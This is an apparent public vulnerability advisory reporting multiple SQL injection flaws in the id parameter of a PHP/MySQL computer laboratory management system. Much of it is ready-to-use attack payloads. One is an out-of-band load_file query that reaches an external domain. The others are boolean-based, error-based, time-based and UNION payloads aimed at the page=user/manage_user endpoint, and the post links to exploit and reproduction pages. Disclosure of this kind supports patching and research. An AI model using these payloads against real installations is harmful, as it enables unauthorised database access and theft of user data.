## Title: LMS-PHP-byoretnom23-v1.0 Multiple-SQLi ## Author: nu11secur1ty ## Date: 03/28/2024 ## Vendor: https://github.com/oretnom23 ## Software: https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#comment-104400 ## Reference: https://portswigger.net/web-security/sql-injection ## Description: The id parameter appears to be vulnerable to SQL injection attacks. The payload '+(select load_file('\\\\95ctkydmc3d4ykhxxtph7p6xgomiagy71vsij68.tupgus.com\\mpk'))+' was submitted in the id parameter. This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. The application interacted with that domain, indicating that the injected SQL query was executed. The attacker can get all information from the system by using this vulnerability! STATUS: HIGH- Vulnerability [+]Payload: ```mysql --- Parameter: id (GET) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: page=user/manage_user&id=7''' RLIKE (SELECT (CASE WHEN (2375=2375) THEN 0x372727 ELSE 0x28 END)) AND 'fkKl'='fkKl Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user/manage_user&id=7''' AND (SELECT 1734 FROM(SELECT COUNT(*),CONCAT(0x716a707071,(SELECT (ELT(1734=1734,1))),0x71717a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CYrv'='CYrv Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: page=user/manage_user&id=7''' AND (SELECT 6760 FROM (SELECT(SLEEP(7)))iMBe) AND 'xzwU'='xzwU Type: UNION query Title: MySQL UNION query (NULL) - 11 columns Payload: page=user/manage_user&id=-2854' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x716a707071,0x6675797766656155594373736b724a5a6875526f6f65684562486c48664e4d624f75766b4a444b43,0x71717a7871),NULL,NULL,NULL,NULL,NULL,NULL# --- ``` ## Reproduce: [href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2024/LMS-PHP-byoretnom23-v1.0) ## Proof and Exploit: [href](https://www.nu11secur1ty.com/2024/03/lms-php-byoretnom23-v10-multiple-sqli.html) ## Time spent: 01:15:00 -- System Administrator - Infrastructure Engineer Penetration Testing Engineer Exploit developer at https://packetstormsecurity.com/ https://cve.mitre.org/index.html https://cxsecurity.com/ and https://www.exploit-db.com/ 0day Exploit DataBase https://0day.today/ home page: https://www.nu11secur1ty.com/ hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E= nu11secur1ty <http://nu11secur1ty.com/>